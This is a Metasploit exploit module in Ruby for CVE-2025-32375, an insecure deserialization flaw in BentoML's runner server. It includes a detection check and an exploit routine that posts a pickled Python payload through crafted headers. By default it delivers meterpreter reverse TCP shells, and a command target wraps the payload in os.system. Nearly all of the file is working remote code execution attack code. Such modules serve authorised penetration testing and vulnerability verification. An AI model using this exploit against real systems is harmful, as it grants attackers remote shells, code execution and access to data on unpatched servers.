##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'BentoML\'s runner server RCE',
        'Description' => %q{
          There was an insecure deserialization in BentoML's runner server prior to version 1.4.8.
          By setting specific headers and parameters in the POST request, it is possible to execute unauthorized arbitrary code in the context of the user running the server,
          which will grant initial access and information disclosure.
        },
        'Author' => [
          'SeaWind',          # Vulnerability discovery and PoC
          'Takahiro Yokoyama' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2025-32375'],
          ['GHSA', '7v4r-c989-xh26', 'bentoml/BentoML']
        ],
        'Targets' => [
          [
            'Python payload',
            {
              'Arch' => ARCH_PYTHON,
              'Platform' => 'python',
              'Type' => :python,
              'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' }
            }
          ],
          [
            'Linux Command', {
              'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd,
              'DefaultOptions' => {
                # defaults to cmd/linux/http/aarch64/meterpreter/reverse_tcp
                'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp'
              }
            }
          ],
        ],
        'DefaultOptions' => {
          'FETCH_DELETE' => true
        },
        'DefaultTarget' => 0,
        'DisclosureDate' => '2025-04-09',
        'Notes' => {
          'Stability' => [ CRASH_SAFE, ],
          'SideEffects' => [ IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION, ]
        }
      )
    )
    register_options(
      [
        Opt::RPORT(3000)
      ]
    )
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'metrics')
    })
    return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200
    return Exploit::CheckCode::Unknown('BentoML\'s runner server not detected.') unless res&.get_html_document&.text&.include?('bentoml_runner')

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'readyz')
    })
    return Exploit::CheckCode::Unknown('BentoML\'s runner server not ready.') unless res&.code == 200

    Exploit::CheckCode::Detected("BentoML\'s runner server detected.")
    # Version check not available
  end

  def exploit
    if target['Type'] == :python
      pl = payload.encoded
    else
      pl = "import os;os.system(\"\"\"\n#{payload.encoded}\n\"\"\")"
    end

    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path),
      'headers' => {
        'args-number' => '1',
        'Content-Type' => 'application/vnd.bentoml.pickled',
        'Payload-Container' => 'NdarrayContainer',
        'Payload-Meta' => '{"format": "default"}',
        'Batch-Size' => '-1'
      },
      'data' => Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, pl)
    })
    # No response check here
  end

end
